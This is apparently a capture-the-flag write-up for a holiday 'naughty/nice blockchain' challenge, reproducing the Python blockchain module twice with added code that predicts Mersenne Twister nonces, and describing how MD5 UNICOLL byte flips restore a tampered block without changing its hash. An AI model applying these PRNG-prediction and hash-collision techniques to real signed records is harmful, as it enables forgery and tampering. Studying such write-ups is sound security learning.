s += ' RID: %s\n' % ('%016.016x' % (self.rid))
s += ' Document Count: %1.1i\n' % (self.doc_count)
s += ' Score: %s\n' % ('%08.08x (%i)' % (self.score, self.score))
n_n = 'Naughty'
if self.sign > 0:
n_n = 'Nice'
s += ' Sign: %1.1i (%s)\n' % (self.sign, n_n)
c = 1
for d in self.data:
s += ' Data item: %i\n' % (c)
s += ' Data Type: %s (%s)\n' % ('%02.02x' % (d['type']), data_types[d['type']])
s += ' Data Length: %s\n' % ('%08.08x' % (d['length']))
s += ' Data: %s\n' % (binascii.hexlify(d['data']))
c += 1
s += ' Date: %s/%s\n' % ('%02.02i' % (self.month), '%02.02i' % (self.day))
s += ' Time: %s:%s:%s\n' % ('%02.02i' % (self.hour), '%02.02i' % (self.minute), '%02.02i' % (self.second))
s += ' PreviousHash: %s\n' % (self.previous_hash)
s += ' Data Hash to Sign: %s\n' % (self.hash)
s += ' Signature: %s\n' % (self.sig)
return(s)
def full_hash(self):
hash_obj = MD5.new()
hash_obj.update(self.block_data_signed())
return hash_obj.hexdigest()
def hash_n_sign(self):
hash_obj = MD5.new()
hash_obj.update(self.block_data())
signer = PKCS1_v1_5.new(private_key)
return (hash_obj.hexdigest(), b64encode(signer.sign(hash_obj)))
def block_data(self):
s = (str('%016.016x' % (self.index)).encode('utf-8'))
s += (str('%016.016x' % (self.nonce)).encode('utf-8'))
s += (str('%016.016x' % (self.pid)).encode('utf-8'))
s += (str('%016.016x' % (self.rid)).encode('utf-8'))
s += (str('%1.1i' % (self.doc_count)).encode('utf-8'))
s += (str(('%08.08x' % (self.score))).encode('utf-8'))
s += (str('%1.1i' % (self.sign)).encode('utf-8'))
for d in self.data:
s += (str('%02.02x' % d['type']).encode('utf-8'))
s += (str('%08.08x' % d['length']).encode('utf-8'))
s += d['data']
s += (str('%02.02i' % (self.month)).encode('utf-8'))
s += (str('%02.02i' % (self.day)).encode('utf-8'))
s += (str('%02.02i' % (self.hour)).encode('utf-8'))
s += (str('%02.02i' % (self.minute)).encode('utf-8'))
s += (str('%02.02i' % (self.second)).encode('utf-8'))
s += (str(self.previous_hash).encode('utf-8'))
return(s)
def block_data_signed(self):
s = self.block_data()
s += bytes(self.hash.encode('utf-8'))
s += self.sig
return(s)
def load_a_block(self, fh):
self.index = int(fh.read(16), 16)
self.nonce = int(fh.read(16), 16)
self.pid = int(fh.read(16), 16)
self.rid = int(fh.read(16), 16)
self.doc_count = int(fh.read(1), 10)
self.score = int(fh.read(8), 16)
self.sign = int(fh.read(1), 10)
count = self.doc_count
while(count > 0):
l_data = {}
l_data['type'] = int(fh.read(2),16)
l_data['length'] = int(fh.read(8), 16)
l_data['data'] = fh.read(l_data['length'])
self.data.append(l_data)
count -= 1
self.month = int(fh.read(2))
self.day = int(fh.read(2))
self.hour = int(fh.read(2))
self.minute = int(fh.read(2))
self.second = int(fh.read(2))
self.previous_hash = str(fh.read(32))[2:-1]
self.hash = str(fh.read(32))[2:-1]
self.sig = fh.read(344)
return self
def create_genesis_block(self):
block_data = {}
documents = []
doc = {}
doc['data'] = bytes('Genesis Block'.encode('utf-8'))
doc['type'] = 1
doc['length'] = len(doc['data'])
documents.append(doc)
block_data['documents'] = documents
block_data['pid'] = 0
block_data['rid'] = 0
block_data['score'] = 0
block_data['sign'] = Nice
b = Block(0, block_data, genesis_block_fake_hash)
return b
def verify_types(self): # check data types of all info in a block
rv = True
instances = [self.index, self.nonce, self.pid, self.rid, self.month, self.day, self.hour, self.minute, self.second, self.previous_hash, self.score, self.sign]
types = [int, int, int, int, int, int, int, int, int, str, int, int]
if not sum(map(lambda inst_, type_: isinstance(inst_, type_), instances, types)) == len(instances):
rv = False
for d in self.data:
if not isinstance(d['type'], int):
rv = False
if not isinstance(d['length'], int):
rv = False
if not isinstance(d['data'], bytes):
rv = False
return rv
def dump_doc(self, doc_no):
filename = '%s.%s' % (str(self.index), data_extension[self.data[doc_no - 1]['type']])
with open(filename, 'wb') as fh:
d = self.data[doc_no - 1]['data']
fh.write(d)
print('Document dumped as: %s' % (filename))
class Chain():
nonce_list = []
index = 0
initial_index = 0
last_hash_value = ''
def __init__(self, load=False, filename=None):
if not load:
self.blocks = [Block(genesis=True).create_genesis_block()]
self.last_hash_value = self.blocks[0].full_hash()
else:
self.blocks = []
self.load_chain(filename)
self.index = self.blocks[-1].index
self.initial_index = self.blocks[0].index
def __eq__(self, other):
if isinstance(other, self.__class__):
return self.__dict__ == other.__dict__
else:
return False
def add_block(self, block_data):
self.index += 1
b = Block(self.index, block_data, self.last_hash_value)
self.blocks.append(b)
self.last_hash_value = b.full_hash()
def verify_chain(self, publickey, previous_hash=None):
flag = True
# unless we're explicitly told what the initial last hash should be, we assume that
# the initial block will be the genesis block and will have a fixed previous_hash
if previous_hash is None:
previous_hash = genesis_block_fake_hash
for i in range(0, len(self.blocks)): # assume Genesis block integrity
block_no = self.blocks[i].index
if not self.blocks[i].verify_types():
flag = False
print(f'\n*** WARNING *** Wrong data type(s) at block {block_no}.')
if self.blocks[i].index != i + self.initial_index:
flag = False
print(f'\n*** WARNING *** Wrong block index at what should be block {i + self.initial_index}: {block_no}.')
if self.blocks[i].previous_hash != previous_hash:
flag = False
print(f'\n*** WARNING *** Wrong previous hash at block {block_no}.')
hash_obj = MD5.new()
hash_obj.update(self.blocks[i].block_data())
signer = PKCS1_v1_5.new(publickey)
if signer.verify(hash_obj, b64decode(self.blocks[i].sig)) is False:
flag = False
print(f'\n*** WARNING *** Bad signature at block {block_no}.')
if flag == False:
print(f'\n*** WARNING *** Blockchain invalid from block {block_no} onward.\n')
return False
previous_hash = self.blocks[i].full_hash()
return True
def save_a_block(self, index, filename=None):
if filename is None:
filename = 'block.dat'
with open(filename, 'wb') as fh:
fh.write(self.blocks[index].block_data_signed())
def save_chain(self, filename=None):
if filename is None:
filname = 'blockchain.dat'
with open(filename, 'wb') as fh:
i = 0
while(i < len(self.blocks)):
fh.write(self.blocks[i].block_data_signed())
i += 1
def load_chain(self, filename=None):
count = 0
if filename is None:
filename = 'blockchain.dat'
with open(filename, 'rb') as fh:
while(1):
try:
self.blocks.append(Block(load=True).load_a_block(fh))
self.index = self.blocks[-1].index
count += 1
except ValueError:
return count
if __name__ == '__main__':
with open('private.pem', 'rb') as fh:
private_key = RSA.importKey(fh.read())
public_key = private_key.publickey()
c1 = Chain()
for i in range(9):
block_data = {}
documents = []
doc = {}
doc['data'] = bytes(('This is block %i of the naughty/nice blockchain.' % (i)).encode('utf-8'))
doc['type'] = 1
doc['length'] = len(doc['data'])
documents.append(doc)
block_data['documents'] = documents
block_data['pid'] = 123 # this is the pid, or "person id," that the block is about
block_data['rid'] = 456 # this is the rid, or "reporter id," of the reporting elf
block_data['score'] = 100 # this is the Naughty/Nice score of the report
block_data['sign'] = Nice # this indicates whether the report is about naughty or nice behavior
c1.add_block(block_data)
print(c1.blocks[3])
print('C1: Block chain verify: %s' % (c1.verify_chain(public_key)))
#Note: This is how you would load and verify a blockchain contained in a file called blockchain.dat
#
with open('official_public.pem', 'rb') as fh:
official_public_key = RSA.importKey(fh.read())
c2 = Chain(load=True, filename='blockchain.dat')
print('C2: Block chain verify: %s' % (c2.verify_chain(official_public_key)))
print(c2.blocks[0])
c2.blocks[0].dump_doc(1)
predictor = MT19937Predictor()
nonce_list= []
# Adding all the nonces of all the blocks in a list
for i in range(len(c2.blocks)):
nonce_list.append(c2.blocks[i].nonce)
# reeversing the list
nonce_list.reverse()
# get the first 625 nonces
last_625_block_nonce = list(itertools.islice(nonce_list,625))
# reverse the list so we get the last 625 nonces
last_625_block_nonce.reverse()
# Setting the data for 625 nonces to the MT19937Predictor
for nonce in last_625_block_nonce:
predictor.setrandbits(nonce, 64)
# calcutated nonce and added for block 12997 [lietarally ran the code at this point to get the nonce for block 12997 using predictor.getrandbits()]
predictor.setrandbits(13205885317093879758,64)
# calculated nonce and added for block 12998 [lietarally ran the code at this point to get the nonce for block 12997 using predictor.getrandbits()]
predictor.setrandbits(109892600914328301,64)
# calculated nonce and added for block 12999 [lietarally ran the code at this point to get the nonce for block 12997 using predictor.getrandbits()]
predictor.setrandbits(9533956617156166628,64)
# Get the nonce for block 13000
print(predictor.getrandbits(64))
The snowball fight :
We need to solve this challenge to get more hints for objective 11b) Welcome to Snowball Fight! You and an opponent each have five snow forts, but you can’t see the others’ layout. Start lobbing snowballs back and forth. Be the first to hit everything on your opponent’s side! Note: On easier levels, you may pick your own name. On the Hard and Impossible level, we will pick for you. That’s just how things work around here! What’s more, on Impossible, we won’t even SHOW you your name! In fact, just to make sure things are super random, we’ll throw away hundreds of random names before starting!
High level Approach :
Open the “Impossible” game.
In the impossible, get seeds, predict seed. See below (“How to get the random seeds and calculate the next seed”).
In this window, open the “easy” game and use the seed predicted in step 2).
Win the easy game. Record the moves.
Go back to the “impossible” window and use the same moves.
Win the ‘Impossible’ game.
Process details :
You will see a number of seeds in the below URL response https://snowball2.kringlecastle.com/game They are exactly 624 seeds indicating the next seed could be predicted using the Mersenne Twister algorithm. So, we can use the python script M19937 to predict the next seed.
624 seeds in view source
Keep all the 624 seeds in the data.txt.
Create a new bash script “predict-next-seed.sh” which would take the data in the data.txt, apply mt19937 on it and predict next set of numbers in predicted.txt
Get Jake’s Block from the chain and save it as a binary (block.dat)
Extract all the docs from the Jake’s block
Determine and extract the original naughty document. This is the document Jake modified to put nice list on it. – This would be the 1st byte on the Jake’s block which he changed. ref: https://speakerdeck.com/ange/colltris?slide=194
Determine the flag for naughty/nice. This is the flag which Jake changed from naughty to nice – this would-be 2nd byte on the Jake’s block which he changed.
Make changes on 1st, 2nd, 3rd and 4th byte on Jake’s block making sure the MD5 hash does not change
Save the original block restored from Jack’s block and save as block_restored.dat file.
Calculate the SHA256 of the blockchain_restored.dat.
Process :
Changes to naughty_nice.py:
Added a function named full_hash_SHA256() which will calculate the SHA256 hash of the block. Screenshot 1 below. Added code to calculate the SHA256 hash for each block and If Its equal to the 58a3b9335a6ceb0234c12d35a0564c4e f0e90152d0eb2ce2082383b38028a90f, it saves the block to a new file named block.dat. It also extracts all the documents from the Jack’s block – 129459.pdf and 129459.bin Screenshot 2 below.
Screenshot 1Screenshot 2
The whole naughty_nice.py
#!/usr/bin/env python3
'''
So, you want to work with the naughty/nice blockchain?
Welcome!
This python module is your first step in that process. It will introduce you to how the Naughty/Nice
blockchain is structured and how we at the North Pole use blockchain technology. The North Pole
has been using blockchain technology since Santa first invented it back in the 1960's. (Jolly
prankster that he is, Santa posted a white paper on the Internet that he wrote under a pseudonym
describing a non-Naughty/Nice application of blockchains a dozen or so years back. It caused quite
a stir...)
Important note: This module will NOT allow you to add content to the Official Naughty/Nice Blockchain!
That can only be done through the Official Naughty/Nice Website, which passes new blocks to the Official
Santa Signature System (OS3) that applies a digital signature to the content of each block before it is
added to the chain. Only blocks whose contents have been digitally signed by that system are placed on
the Naughty/Nice blockchain.
Note: If you're authorized to use the Official Naughty/Nice website, you will have been given a login and
password for that site after completing your training as a part of Elf University's "Assessing and
Evaluating Human Behavior for Naughty/Niceness" Curriculum.
This code is used to introduce how blocks/chains are created and allow you to view and/or validate
portions (or the entirety) of the Official Naughty/Nice Blockchain.
A blockchain, while a part of the whole cryptocurrency "fad" that a certain pseudonym-packing North Pole
resident appears to have begun, are certainly not limited to that use. A blockchain can be used anywhere
that a record of information or transactions need to be maintained in a way that cannot be altered. And
really, what information is more important (and necessarily unalterable) than acts of Naughty/Niceness?
A blockchain works by linking each record together with the previous record. Each block's data contains
a cryptographic hash of the previous block's data. Because a block cannot be altered without altering
the cryptographic hash of its contents, any alteration of the data within a block will be immediately
evident, because every following block will no longer be valid.
In addition to this built-in property of a blockchain, the Official Naughty/Nice Blockchain has a few
other safeguards. The cryptographic hash of each block is signed using the Official Santa Signature
System (OS3). Currently, the Official Naughty/Nice Blockchain uses MD5 as its hashing algorithm, but
plans are in place to move to SHA256 in 2021. This update is part of a phased process to modernize
the blockchain code. In 2019, the entire blockchain system was ported from the original COBOL code to
Python3. Because of concerns about hash collisions in MD5, in the new Python3 code, a 64-bit random
"nonce" was added to the beginning of each block at the time of creation.
This module represents a portion of the most current blockchain codebase. It consists of two classes,
one for the creation of blocks, called Block(), and one for the creation, examination, and verification of
chains of blocks, called Chain().
The following is an overview of the functionality provided by these classes:
The Chain() class is where most blockchain work is performed. It is designed to be as "block-agnostic"
as possible, so it can be used with blocks that hold different types of data. To use a different type
of block, you simply replace (or subclass) the Block() class. For this to work, there are several
functions that MUST be supplied by the Block() class. Let's take a look at those.
The Block() class MUST supply the following functions, used by the Chain() class:
create_genesis_block() - This creates a very special block used at the beginning of the blockchain,
and known as the "genesis" block. Because it has no previous block to reference it is, by definition,
always considered valid. This block uses an agreed-upon, fake previous hash value.
verify_types() - Because the Chain() class is block-agnostic, it needs the Block() class to validate
that a block contains valid data. This function returns True or False.
block_data() - a function that returns a representation of all of the data in the block that is to
be hashed and signed. The data is returned as a Python3 bytes object.
full_block_data() - a function that returns a representation of the entire block, including any
hashes and signatures. A hash of this data is what is used as the "previous hash" value in the
subsequent block. This data is returned as a Python3 bytes object. This function is also used
when saving either the entire blockchain to a file, or a single block to a file
load_a_block([filehandle]) - this function takes a filehandle and returns a block at a time for
addition to the block chain. This function DOES NOT verify blocks. This function throws a
Value_Error exception when it either encounters the end of the file or unparsable data.
The Naughty/Nice Block() class also defines a utility function:
dump_doc([document number]) - this will dump the indicated supporting document to a file named
as <block_index>.<data_type_extension>. Note: this function will overwrite any existing file
with that name, so if there are multiple documents (there can be up to 9) of the same type
affixed to a record, it is the responsibility of the calling process to rename them as appropriate.
The Chain() class provides the following functions:
add_block([block_data]) - passes a block_data dictionary to the Block() initialization code.
This function, being "block-agnostic" simply passes the block_data along. It is up to the Block()
initialization code to validate this data.
verify_chain([public_key], <beginning hash>) - steps through every block in the chain and
verifies that the data in each block is of the correct type, that the block index is correct,
that the block contains the correct hash for the previous block, and that the block signature
is a valid signature based on the hash of the block data. It then hashes the full block for use
as the "previous hash" on the next block. This returns True or False. (If False, it prints
information about what, specific, issues were found and the block that triggered the issue.)
Note: If you're working with a portion of the block chain that does not begin with a genesis
block, you'll need to provide a value for the previous block's hash for this function to
work.
save_a_block(index, <filename>) - saves the block at index to the filename provided, or to
"block.dat" if no filename is given.
save_chain(<filename>) - saves the chain to the filename provided, or to "blockchain.dat" if
no filename is given.
load_chain(<filename>) - loads a chain from the filename provided, or from "blockchain.dat" if
no filename is given. This returns the count of blocks loaded. This DOES NOT verify that the
data loaded is a valid blockchain. It is recommended to call verify_chain() immediately after
loading a new chain.
An overview of how we process the Official Naughty/Nice Blockchain:
There are approximately 7.8 billion people and magical beings on Earth, and each one is tracked
24 hours a day throughout the year by a fleet of Elves-On-The-Shelves. While those elves are
clearly visible during the Holiday season, don't be fooled into believing that we're only tracking
Naughty/Niceness at that time. On average, each of the billions of subjects that we monitor are
performing some sort of Naughty or Nice activity that rises to the level of being scored on the
blockchain around 2.1 times per week. Keeping track of all of that activity on a single blockchain
would be incredibly processing intensive (that would be ~1^12 blocks/year, or 32,000 blocks/second),
so we've broken our record-keeping into 1,000 different blockchains. If you do the math, you'll find
that each of the blockchains is now responsible for between 1,500 and 2000 blocks per minute, which
is a reasonable load. A separate database keeps track of which Personal ID (pid) is assigned to each
of the blockchains.
Throughout the year, we periodically run each of the chains to determine who is the best (and worst)
of our subjects. While only the final Holiday run is used to determine who is getting something
good in their stockings and who is getting a lump of coal, it's always interesting to see a listing
of the Nicest and Naughtiest folks out there.
Please note: Wagering on the results of the Official Naughty/Nice Blockchain is STRICTLY PROHIBITED.
If you intend to use your access to the Official Naughty/Nice Blockchain code to facilitate any sort
of gambling, you will be racking up a whole bunch of Naughtiness points. YOU HAVE BEEN WARNED! (I'm
looking at you, Alabaster Snowball...)
For this reason, we have not provided any code that will perform a computation of Naughty/Nice
points. Additionally, for privacy reasons, there is also no code to pull the records associated
with specific individuals from this list. While the creation of that code would not be difficult,
you are honor-bound to use your access to this list for only good and noble purposes.
Signing Keys - Information
We have provided you with an example private key that you can use when generating your own blockchains
for test purposes. This private key (which also contains the public key information) is called
private.pem.
Additionally, we have provided you with a copy of the public key used to verify the Official
Naughty/Nice Blockchain. This is the public key component of the private key used by the Official
Santa Signature System (OS3) to sign blocks on the Official Naughty/Nice Blockchain. This key
is contained in the file official_public.pem.
'''
import random
from Crypto.Hash import MD5, SHA256
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from base64 import b64encode, b64decode
import binascii
import time
import itertools
from mt19937predictor import MT19937Predictor
genesis_block_fake_hash = '00000000000000000000000000000000'
data_types = {1:'plaintext', 2:'jpeg image', 3:'bmp image', 4:'gif image', 5:'PDF', 6:'Word', 7:'PowerPoint', 8:'Excel', 9:'tiff image', 10:'MP4 video', 11:'MOV video', 12:'WMV video', 13:'FLV video', 14:'AVI video', 255:'Binary blob'}
data_extension = {1:'txt', 2:'jpg', 3:'bmp', 4:'gif', 5:'pdf', 6:'docx', 7:'pptx', 8:'xlsx', 9:'tiff', 10:'mp4', 11:'mov', 12:'wmv', 13:'flv', 14:'avi', 255:'bin'}
Naughty = 0
Nice = 1
class Block():
def __init__(self, index=None, block_data=None, previous_hash=None, load=False, genesis=False):
if(genesis == True):
return None
else:
self.data = []
if(load == False):
if all(p is not None for p in [index, block_data['documents'], block_data['pid'], block_data['rid'], block_data['score'], block_data['sign'], previous_hash]):
self.index = index
if self.index == 0:
self.nonce = 0 # genesis block
else:
self.nonce = random.randrange(0xFFFFFFFFFFFFFFFF)
self.data = block_data['documents']
self.previous_hash = previous_hash
self.doc_count = len(self.data)
self.pid = block_data['pid']
self.rid = block_data['rid']
self.score = block_data['score']
self.sign = block_data['sign']
now = time.gmtime()
self.month = now.tm_mon
self.day = now.tm_mday
self.hour = now.tm_hour
self.minute = now.tm_min
self.second = now.tm_sec
self.hash, self.sig = self.hash_n_sign()
else:
return None
def __eq__(self, other):
if isinstance(other, self.__class__):
return self.__dict__ == other.__dict__
else:
return False
def __repr__(self):
s = 'Chain Index: %i\n' % (self.index)
s += ' Nonce: %s\n' % ('%016.016x' % (self.nonce))
s += ' PID: %s\n' % ('%016.016x' % (self.pid))
s += ' RID: %s\n' % ('%016.016x' % (self.rid))
s += ' Document Count: %1.1i\n' % (self.doc_count)
s += ' Score: %s\n' % ('%08.08x (%i)' % (self.score, self.score))
n_n = 'Naughty'
if self.sign > 0:
n_n = 'Nice'
s += ' Sign: %1.1i (%s)\n' % (self.sign, n_n)
c = 1
for d in self.data:
s += ' Data item: %i\n' % (c)
s += ' Data Type: %s (%s)\n' % ('%02.02x' % (d['type']), data_types[d['type']])
s += ' Data Length: %s\n' % ('%08.08x' % (d['length']))
s += ' Data: %s\n' % (binascii.hexlify(d['data']))
c += 1
s += ' Date: %s/%s\n' % ('%02.02i' % (self.month), '%02.02i' % (self.day))
s += ' Time: %s:%s:%s\n' % ('%02.02i' % (self.hour), '%02.02i' % (self.minute), '%02.02i' % (self.second))
s += ' PreviousHash: %s\n' % (self.previous_hash)
s += ' Data Hash to Sign: %s\n' % (self.hash)
s += ' Signature: %s\n' % (self.sig)
return(s)
def full_hash(self):
hash_obj = MD5.new()
hash_obj.update(self.block_data_signed())
return hash_obj.hexdigest()
def hash_n_sign(self):
hash_obj = MD5.new()
hash_obj.update(self.block_data())
signer = PKCS1_v1_5.new(private_key)
return (hash_obj.hexdigest(), b64encode(signer.sign(hash_obj)))
def block_data(self):
s = (str('%016.016x' % (self.index)).encode('utf-8'))
s += (str('%016.016x' % (self.nonce)).encode('utf-8'))
s += (str('%016.016x' % (self.pid)).encode('utf-8'))
s += (str('%016.016x' % (self.rid)).encode('utf-8'))
s += (str('%1.1i' % (self.doc_count)).encode('utf-8'))
s += (str(('%08.08x' % (self.score))).encode('utf-8'))
s += (str('%1.1i' % (self.sign)).encode('utf-8'))
for d in self.data:
s += (str('%02.02x' % d['type']).encode('utf-8'))
s += (str('%08.08x' % d['length']).encode('utf-8'))
s += d['data']
s += (str('%02.02i' % (self.month)).encode('utf-8'))
s += (str('%02.02i' % (self.day)).encode('utf-8'))
s += (str('%02.02i' % (self.hour)).encode('utf-8'))
s += (str('%02.02i' % (self.minute)).encode('utf-8'))
s += (str('%02.02i' % (self.second)).encode('utf-8'))
s += (str(self.previous_hash).encode('utf-8'))
return(s)
def block_data_signed(self):
s = self.block_data()
s += bytes(self.hash.encode('utf-8'))
s += self.sig
return(s)
def load_a_block(self, fh):
self.index = int(fh.read(16), 16)
self.nonce = int(fh.read(16), 16)
self.pid = int(fh.read(16), 16)
self.rid = int(fh.read(16), 16)
self.doc_count = int(fh.read(1), 10)
self.score = int(fh.read(8), 16)
self.sign = int(fh.read(1), 10)
count = self.doc_count
while(count > 0):
l_data = {}
l_data['type'] = int(fh.read(2),16)
l_data['length'] = int(fh.read(8), 16)
l_data['data'] = fh.read(l_data['length'])
self.data.append(l_data)
count -= 1
self.month = int(fh.read(2))
self.day = int(fh.read(2))
self.hour = int(fh.read(2))
self.minute = int(fh.read(2))
self.second = int(fh.read(2))
self.previous_hash = str(fh.read(32))[2:-1]
self.hash = str(fh.read(32))[2:-1]
self.sig = fh.read(344)
return self
def create_genesis_block(self):
block_data = {}
documents = []
doc = {}
doc['data'] = bytes('Genesis Block'.encode('utf-8'))
doc['type'] = 1
doc['length'] = len(doc['data'])
documents.append(doc)
block_data['documents'] = documents
block_data['pid'] = 0
block_data['rid'] = 0
block_data['score'] = 0
block_data['sign'] = Nice
b = Block(0, block_data, genesis_block_fake_hash)
return b
def verify_types(self): # check data types of all info in a block
rv = True
instances = [self.index, self.nonce, self.pid, self.rid, self.month, self.day, self.hour, self.minute, self.second, self.previous_hash, self.score, self.sign]
types = [int, int, int, int, int, int, int, int, int, str, int, int]
if not sum(map(lambda inst_, type_: isinstance(inst_, type_), instances, types)) == len(instances):
rv = False
for d in self.data:
if not isinstance(d['type'], int):
rv = False
if not isinstance(d['length'], int):
rv = False
if not isinstance(d['data'], bytes):
rv = False
return rv
def dump_doc(self, doc_no):
filename = '%s.%s' % (str(self.index), data_extension[self.data[doc_no - 1]['type']])
with open(filename, 'wb') as fh:
d = self.data[doc_no - 1]['data']
fh.write(d)
print('Document dumped as: %s' % (filename))
class Chain():
nonce_list = []
index = 0
initial_index = 0
last_hash_value = ''
def __init__(self, load=False, filename=None):
if not load:
self.blocks = [Block(genesis=True).create_genesis_block()]
self.last_hash_value = self.blocks[0].full_hash()
else:
self.blocks = []
self.load_chain(filename)
self.index = self.blocks[-1].index
self.initial_index = self.blocks[0].index
def __eq__(self, other):
if isinstance(other, self.__class__):
return self.__dict__ == other.__dict__
else:
return False
def add_block(self, block_data):
self.index += 1
b = Block(self.index, block_data, self.last_hash_value)
self.blocks.append(b)
self.last_hash_value = b.full_hash()
def verify_chain(self, publickey, previous_hash=None):
flag = True
# unless we're explicitly told what the initial last hash should be, we assume that
# the initial block will be the genesis block and will have a fixed previous_hash
if previous_hash is None:
previous_hash = genesis_block_fake_hash
for i in range(0, len(self.blocks)): # assume Genesis block integrity
block_no = self.blocks[i].index
if not self.blocks[i].verify_types():
flag = False
print(f'\n*** WARNING *** Wrong data type(s) at block {block_no}.')
if self.blocks[i].index != i + self.initial_index:
flag = False
print(f'\n*** WARNING *** Wrong block index at what should be block {i + self.initial_index}: {block_no}.')
if self.blocks[i].previous_hash != previous_hash:
flag = False
print(f'\n*** WARNING *** Wrong previous hash at block {block_no}.')
hash_obj = MD5.new()
hash_obj.update(self.blocks[i].block_data())
signer = PKCS1_v1_5.new(publickey)
if signer.verify(hash_obj, b64decode(self.blocks[i].sig)) is False:
flag = False
print(f'\n*** WARNING *** Bad signature at block {block_no}.')
if flag == False:
print(f'\n*** WARNING *** Blockchain invalid from block {block_no} onward.\n')
return False
previous_hash = self.blocks[i].full_hash()
return True
def save_a_block(self, index, filename=None):
if filename is None:
filename = 'block.dat'
with open(filename, 'wb') as fh:
fh.write(self.blocks[index].block_data_signed())
def save_chain(self, filename=None):
if filename is None:
filname = 'blockchain.dat'
with open(filename, 'wb') as fh:
i = 0
while(i < len(self.blocks)):
fh.write(self.blocks[i].block_data_signed())
i += 1
def load_chain(self, filename=None):
count = 0
if filename is None:
filename = 'blockchain.dat'
with open(filename, 'rb') as fh:
while(1):
try:
self.blocks.append(Block(load=True).load_a_block(fh))
self.index = self.blocks[-1].index
count += 1
except ValueError:
return count
if __name__ == '__main__':
with open('private.pem', 'rb') as fh:
private_key = RSA.importKey(fh.read())
public_key = private_key.publickey()
c1 = Chain()
for i in range(9):
block_data = {}
documents = []
doc = {}
doc['data'] = bytes(('This is block %i of the naughty/nice blockchain.' % (i)).encode('utf-8'))
doc['type'] = 1
doc['length'] = len(doc['data'])
documents.append(doc)
block_data['documents'] = documents
block_data['pid'] = 123 # this is the pid, or "person id," that the block is about
block_data['rid'] = 456 # this is the rid, or "reporter id," of the reporting elf
block_data['score'] = 100 # this is the Naughty/Nice score of the report
block_data['sign'] = Nice # this indicates whether the report is about naughty or nice behavior
c1.add_block(block_data)
print(c1.blocks[3])
print('C1: Block chain verify: %s' % (c1.verify_chain(public_key)))
#Note: This is how you would load and verify a blockchain contained in a file called blockchain.dat
#
with open('official_public.pem', 'rb') as fh:
official_public_key = RSA.importKey(fh.read())
c2 = Chain(load=True, filename='blockchain.dat')
print('C2: Block chain verify: %s' % (c2.verify_chain(official_public_key)))
print(c2.blocks[0])
c2.blocks[0].dump_doc(1)
predictor = MT19937Predictor()
nonce_list= []
# Adding all the nonces of all the blocks in a list
for i in range(len(c2.blocks)):
nonce_list.append(c2.blocks[i].nonce)
# reeversing the list
nonce_list.reverse()
# get the first 625 nonces
last_625_block_nonce = list(itertools.islice(nonce_list,625))
# reverse the list so we get the last 625 nonces
last_625_block_nonce.reverse()
# Setting the data for 625 nonces to the MT19937Predictor
for nonce in last_625_block_nonce:
predictor.setrandbits(nonce, 64)
# calcutated nonce and added for block 12997 [lietarally ran the code at this point to get the nonce for block 12997 using predictor.getrandbits()]
predictor.setrandbits(13205885317093879758,64)
# calculated nonce and added for block 12998 [lietarally ran the code at this point to get the nonce for block 12997 using predictor.getrandbits()]
predictor.setrandbits(109892600914328301,64)
# calculated nonce and added for block 12999 [lietarally ran the code at this point to get the nonce for block 12997 using predictor.getrandbits()]
predictor.setrandbits(9533956617156166628,64)
# Get the nonce for block 13000
print(predictor.getrandbits(64))
Determine and extract the original naughty document:
Below is part of the 129459.pdf – Jack’s document (obviously a nice one!)
PDF which Jack Frost had (left, the nice list) and the recovered PDF (right, the naughty list)
Save the changes as a different PDF file. Open and you see the different PDF – the naughty list, the original one meant for Jack Frost.
The naughty list for Jack Frost
Determine the flag for naughty/nice in the Jack’s block :
Open the Jack’s block file in online hex editor and compare the text version of the block to find the nice/naughty flag. Jake must have changed this from 0 (original which means naughty) to 1 (nice).
The position of the naughty nice flag in the hex for the PDF
Determine 3rd and 4th byte which were changed by Jake :
At this point, we have two bytes identified – one for the PDF page number and another for nice/naughty flag.
The 3rd and 4th bytes identified
Following the Unicoll computation technique as noted in https://speakerdeck.com/ange/colltris?slide=109 The 1st byte – This is the nice/naughty flag we decreased by 1 (31 to 30) The 2ndByte – This would be the 10th byte of the next block which we need to increase by 1 (D6 to D7) The 3rd Byte – This is the PDF page number which we increased by 1 (32 to 33) The 4th Byte – This would be the 10th byte of the next block which we need to decrease by 1 (1C to 1B)
Please see the screenshot below for the all changes: left side is Jake’s block (block.dat) right side is original block which Jake changed (block_restored.dat) – changes in bytes noted below.
Jack’s block (left) and original block restored which Jack changed (right) – remember, the MD5 for both is still same!
Jake was able to change the original block without changing the hash. His block’s MD5 has was b10b4a6bd373b61f32f4fd3a0cdfbf84 We needed to undo his changes and restore the original block, without changing the MD5 hash. As you can see with the below changes, the hashes still don’t change.
MD5 Hash of Jake’s block (block.dat) – b10b4a6bd373b61f32f4fd3a0cdfbf84
MD5 Hash of Jake’s block (block.dat) – b10b4a6bd373b61f32f4fd3a0cdfbf84
MD5 Hash of original block (block_restored.dat) – b10b4a6bd373b61f32f4fd3a0cdfbf84
MD5 Hash of original block which Jack modified (block_restored.dat) – b10b4a6bd373b61f32f4fd3a0cdfbf84
Now we just need to save the changes in a new file block_restored.dat and calculate the SHA256 hash of it.
Ashish Gupta 
